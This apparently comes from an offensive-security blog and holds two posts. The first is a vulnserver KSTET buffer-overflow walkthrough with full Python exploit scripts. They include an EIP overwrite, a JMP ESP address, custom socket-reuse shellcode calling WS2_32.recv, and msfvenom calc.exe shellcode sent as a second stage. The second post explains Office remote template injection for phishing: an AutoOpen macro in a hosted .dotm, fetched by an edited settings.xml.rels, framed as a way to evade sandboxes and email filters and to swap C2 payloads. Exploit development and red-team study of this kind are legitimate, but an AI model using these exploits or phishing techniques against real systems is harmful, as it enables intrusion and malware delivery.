After we have the correct offset, we can build a proof of concept that shows two things:

  1. We have control of EIP and therefore have control of code execution
  2. How much space after the overwrite we have to play with (i.e. store our shellcode)
import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += "B" * 4
buf += "C" * 500
buf += "\r\n"

s.send(buf)
Analysis of the Stack after the overflow

We control EIP and we only have 0x10 Bytes of room for shellcode. That’s not enough for anything. However, we have 0x44 Bytes above ESP that we can use to build something useful. In the previous KSTET tutorial, we used this space for an egg-hunter. Now, we are going to build our own shellcode to re-use the WS2_32.recv() function.

Find JMP ESP:

I personally like to use Mona.py with Immunity Debugger to help determine a valid JMP ESP. There are tons of ways to find a proper JMP ESP address, this one just fits my needs.

Finding JMP ESP

Verify we have EIP Control:

Set a breakpoint at the JMP ESP address you selected. Amend you python script to include the JMP ESP address and the EIP overwrite and verify you now hit the JMP ESP address and get back to your code (in this case, the C’s).

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += JMP_ESP
buf += "C" * 500
buf += "\r\n"

s.send(buf)

A Short Jump

In order to get more room to build our custom shellcode, we need to make a short jump to the top of the A’s. In the start of this tutorial, I posted a link describing the JMP SHORT instructions. Basically, these are two (2) byte instructions that will help us move around in memory without taking up a shit ton of space.

In this case, we want to get to address 0x00B8F9C6. An easy way to build the shellcode is write the instructions directly within Immunity by hitting the space bar and typing in the assembly.

Building a two byte jump instruction

As you can see, from the blue text on the left of the Assembly instructions, our opcode is going to be \xEB\xB8. We can simply add this into our python script and verify we have in-fact jumped backwards to our required address.

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += JMP_ESP
buf += "\xEB\xB8"               # JMP SHORT
buf += "C" * 500
buf += "\r\n"

s.send(buf)

WS2_32.recv() Review

Before we dig into writing custom shellcode, let’s analyze what is happening locally when recv() is called in the non-altered code.Let’s also define some terms and parameters that are necessary to fully understand before we understand the exploit.

The recv() function is part of the winsock.h header and takes a total of 4 parameters:

  1. SOCKET – This is a Socket Descriptor and defines a valid socket. It’s dynamic and changes each time the binary/exe is run.
  2. *buf – A pointer in memory where we want to start storing what is received from the socket connection.
  3. len – The size of the buffer in Bytes
  4. flags – Will always be set to 0 in our case. We essentially do not use this but need it to complete the function call.
MSDN WS2_32.recv Function Call

Three (3) of the four (4) parameters can be generated by us, the attacker. We easily make up our own values, pop them onto the stack and have a good ol’ day. But, the SOCKET descriptor is the odd man/woman out. This is set dynamically, by the program. It is, however, set predictably and as such we can analyze a live recv() call in action and find where it’s obtaining the SOCKET descriptor from. Once we know where it comes from, we can dynamically pull that value in with our custom shellcode to make our recv() call as legitimate as the original.

Analyze a Legitimate recv():

In your debugger, start a fresh run of vulnserver.exe and put it into a running state. To make sure the debugger (olly or immunity) has analyzed the code properly, hit CTRL+A. This will tell the debugger to analyze the assembly and point out any objective function calls. With this analyzed, look for the recv() function call.

Where recv() is called

From left to right, the first picture is where the recv() function is called within the program. The second picture is where we land when the CALL is executed. The address in the second image 0x0040252C is very important as that is that address we will CALL at the very end of our custom shellcode.

Next, let’s place a breakpoint at the CALL shown in the first image (leftmost image), and execute our overflow python script so we can observe the legitimate recv() function call.

When the python script is executed, we hit our breakpoint and can view the recv() parameters cleanly located on the stack for us.

Analysis of a valid WS2_32.recv function call
  • SOCKET DESCRIPTOR = 0x00000080
  • BUFFER START ADDR = 0x003E4AD0
  • BUFFER LENGTH = 0x00001000 (4096 Bytes base 10)
  • FLAGS = 0x00000000

Again, at this point, we only care where that Socket Descriptor came from. If we set our breakpoint a few instructions above the CALL <JMP.&WS2_32.recv> we find that MOV EAX, DWORD PTR SS:[EBP-420] is responsible for pulling in the Socket Descriptor. Cool, let’s do some basic math:

EBP = 00B8FFB4 and if we calculate: (00B8FFB4 420) = 00B8FB94‬.

If we navigate to this address in the debugger, we should find our Socket Descriptor and, we do.

Confirming we have found the Socket Descriptor

Custom Shellcode

Now that we have the location of the Socket Descriptor, we can start to build our custom shellcode to setup the stack for our evil recv() function call. Since the Stack grow from bottom up, we need to build our stack with that in mind starting by adding the FLAG parameter first and the Socket Descriptor last.

The easiest way to build your custom shellcode is simply to do it in the Debugger. Set a breakpoint at your JMP ESP, get to you JMP instruction and start building your shellcode. Below is an example on how I setup my Stack:

recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

Let’s go through this step by step:

  • Lines 2-3: I found that the stack was not aligned after the second payload was sent. This aligns the stack for our second payload
  • Lines 4-5: We XoR the EDX Register by itself to make it 0 (0x00000000) and PUSH it onto the stack. This will serve as our FLAG parameter.
  • Lines 6-8: We cannot have a null byte (0x00) in our shellcode so, we add 0x4 to EDX and shift it left by 1 Byte (8-bits) to give us 0x400 This serves as our Buffer Size.
  • Lines 9-12: Zero out EDX with XoR, MOV 0xB8F9FB90 into EDX, shift right to get rid of 0x90 and get our 0x00 for a final value of 0x00B8F9FB. This serves as our Buffer Start Address.
  • Lines 13-15: Load Socket Descriptor addr. into ECX, PUSH the value of the data located at ECX (denoted as [ECX]not ECX, note the difference). This serves as the Socket Descriptor.
  • Lines 16-18: Load the address of WS2_32.recv, that we found when we analyzed the legitimate recv(), into EDX and CALL EDX to complete the function call.
import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

# WS2_32.recv() Stack Setup
recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

buf = ""
buf += "KSTET /.:/"
buf += "\x90" * 2                       # NOPS
buf += recv                             # WS2_32.recv() function call
buf += "\x90" * (66 - (len(recv) + 2))  # NOPS 
buf += JMP_ESP                          # JMP ESP
buf += "\xEB\xB8"                       # JMP SHORT
buf += "C" * 500                        # FILLER
buf += "\r\n"

s.send(buf)

Exploitation

All we have to do is generate a second payload and send it right after our overflow payload. Since we have tricked vulnserver into running the recv() function, it will take our second send data and store it at the buffer address we specified. Let’s test this out with a payload of 0xCC (Int 3) so that the program will halt when it hits our shellcode.

Secondary payload made it to our memory location

Let’s add some basic shellcode to pop calc.exe and verify that our exploit works.

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

# WS2_32.recv() Stack Setup
recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

buf = ""
buf += "KSTET /.:/"
buf += "\x90" * 2                       # NOPS
buf += recv                             # WS2_32.recv() function call
buf += "\x90" * (66 - (len(recv) + 2))  # NOPS 
buf += JMP_ESP                          # JMP ESP
buf += "\xEB\xB8"                       # JMP SHORT
buf += "C" * 500                        # FILLER
buf += "\r\n"

s.send(buf)                             # Stage 1 Payload Send

# msfvenom -p windows/exec CMD=calc.exe -b '\x00' --var-name calc -f python
calc =  b""
calc += b"\xdb\xdc\xd9\x74\x24\xf4\x5f\xb8\x43\x2c\x57\x7b\x2b"
calc += b"\xc9\xb1\x31\x31\x47\x18\x83\xc7\x04\x03\x47\x57\xce"
calc += b"\xa2\x87\xbf\x8c\x4d\x78\x3f\xf1\xc4\x9d\x0e\x31\xb2"
calc += b"\xd6\x20\x81\xb0\xbb\xcc\x6a\x94\x2f\x47\x1e\x31\x5f"
calc += b"\xe0\x95\x67\x6e\xf1\x86\x54\xf1\x71\xd5\x88\xd1\x48"
calc += b"\x16\xdd\x10\x8d\x4b\x2c\x40\x46\x07\x83\x75\xe3\x5d"
calc += b"\x18\xfd\xbf\x70\x18\xe2\x77\x72\x09\xb5\x0c\x2d\x89"
calc += b"\x37\xc1\x45\x80\x2f\x06\x63\x5a\xdb\xfc\x1f\x5d\x0d"
calc += b"\xcd\xe0\xf2\x70\xe2\x12\x0a\xb4\xc4\xcc\x79\xcc\x37"
calc += b"\x70\x7a\x0b\x4a\xae\x0f\x88\xec\x25\xb7\x74\x0d\xe9"
calc += b"\x2e\xfe\x01\x46\x24\x58\x05\x59\xe9\xd2\x31\xd2\x0c"
calc += b"\x35\xb0\xa0\x2a\x91\x99\x73\x52\x80\x47\xd5\x6b\xd2"
calc += b"\x28\x8a\xc9\x98\xc4\xdf\x63\xc3\x82\x1e\xf1\x79\xe0"
calc += b"\x21\x09\x82\x54\x4a\x38\x09\x3b\x0d\xc5\xd8\x78\xe1"
calc += b"\x8f\x41\x28\x6a\x56\x10\x69\xf7\x69\xce\xad\x0e\xea"
calc += b"\xfb\x4d\xf5\xf2\x89\x48\xb1\xb4\x62\x20\xaa\x50\x85"
calc += b"\x97\xcb\x70\xe6\x76\x58\x18\xc7\x1d\xd8\xbb\x17"


payload = ""
payload += calc
payload += "\r\n"

s.send(payload)                           # Stage 2 Payload Send
Shellcode injection to pop calc.exe after exploit

Vulnserver KSTET Socket Re-use
Joshua

Dynamic Office Template Injection

By: Joshua
12 September 2019 at 23:00

Sevro Security
Dynamic Office Template Injection

You’ve sent your phishing email with a malicious Microsoft Office document. You pored your blood, sweat, and tears into that sexy Macro of yours. However, modern appliances can easily run that macro in a sandbox and determine if it’s evil or benign.

Sure, you could use common techniques to enumerate if you’re in a sandbox or not but, that requires more code and for the love of god, we’ve all written too much VBA as is. Or, you could encrypt the document and supply the password within the email/title but, some sandboxes have caught on to that as well or maybe the user is too lazy. Another option is to use Dynamic Office Template Injection.


Template Injection

There are some massive benefits to using template injection such as:

  • Ability to send a Docx and not a Docm
  • Macro does not “Live” within the Docx
  • Can “Hot Swap” payloads
  • Can remotely turn macros on and off

Template injection works via the following process (for the example moving forward, I will be using Microsoft Word):

  1. Build your malicious macro into a .Dotm (Microsoft Template containing a Macro).
  2. Host your .Dotm publicly via an S3 bucket, GCP Bucket, DO Space, etc.
  3. Create a .Docx document with a Microsoft Template.
  4. Unzip the .Docx and modify a single XML file
  5. Zip contents back up and change .zip to .Docx

Create the Dotm Document

Here is the Macro that we will add to the .dotm document:

Sub AutoOpen()

    Dim Execute As Variant
    Execute = Shell("calc.exe", vbNormalFocus)

End Sub

In the example case, the Macro simply opens up calc.exe, as all good malware does in its infancy. Once we have the Macro working, we make sure to save the Word Document as a .dotm.

Create and test your macro
Calc.exe Macro

Create the Docx Document

When creating the .docx document, you need to select a real Microsoft Template. I like to use a resume template as they usually do not contain images or extremely fancy formatting.

Select an office template
Select a Template

Now that we have both documents created [example.dotm, resume.docx], let’s host example.dotm on a Digital Ocean space.

Host the macro enabled template
Host the example.dotm

Get the URI to example.dotm and move back to where we have the resume.docx. If you have 7-zip, winzip, etc., right click resume.docx and select Extract Here. If successful, you will be presented with a few new folders and a single xml file as seen below.

Unzip the .docx document
After resume.docx Unzipping

Navigate to word –> _rels –> and open the settings.xml.rels in any text editor. We are going to replace the Target variables data with our example.dotm URI.

settings.xml.rels before the edit.
Before Replacement
settings.xml.rels after the edit.
After Replacement

Save settings.xml.rels and go back to the root directory of the original .docx. Select all the files/directories that were generated from the unzipping:

  • _rels
  • customXml
  • docProps
  • word
  • [Content_Types].xml

Add them all to a single .zip archive and then change the .zip suffix to a .docx suffix to complete the transformation.

Zip the contents of the docx back up
Data to be Zipped
the zip successfully completed.
After Zipping
Rename the.zip to .docx
Change .zip to .docx

The resulting resume.docx will now attempt to pull down the example.dotm template from our Digital Ocean Space each and every time it is opened. The fun part is, we can change the permissions on the example.dotm URI to be Public or Private.


Dynamic Macro Enabling/Disabling

What makes this interesting is the fact that we can change access to the example.dotm file hosted on Digital Ocean simply by making the URI Private or Public.

Resume.docx does not crash when it attempts to navigate to the non-existent example.dotm URI, it just doesn’t load a macro because there’s not one there. Simply put, it looks like any standard docx should.

When we change the example.dotm URI back to Public, and re-open resume.docx, we are presented with a macro enabled document since the URI is alive.

Disable Docx Macro:

By “disable” I simple mean change access to the URI where the .dotm document is located. If the .docx can’t find it, then there’s no macro.

Setting the remote office macro to private
Example.dotm Set to Private
Template Document disabled, no macro is loaded.
Docx Opens Normally

Enable Docx Macro:

Setting the example.dotm to Public and re-opening resume.docx will give us a macro enabled docx that opens calc.exe when we click Enable Content.

Host the Office template on w VPS
Example.dotm Set to Public
Docx loading a macro from office template.
We Get The “Enable Content” Warning
Word Macro Executing Calc.exe
Enabling Content Opens Calc.exe

Use Case

At the top of this post I outlines four (4) of the positives when using this technique. The most objective one being bypassing Email filtering by sending a truly benign docx. Yes, you risk a user opening the document without detonating your macro if they’re really motivated to open everything in their email immediately. But hell, send the phish, wait 5-7min, and arm the link.

It’s also worth noting that an attacker can easily change payloads. For example, if for some reason your initial C2 has been burned but the infection point is undetermined, you can swap out the example.dotm with one of your backup C2’s.


Similar Blog Posts

I am not the originator of this technique and nor do I claim to be. Here are some other blogs describing this same exact technique if you’re interested!

Dynamic Office Template Injection
Joshua

❌
❌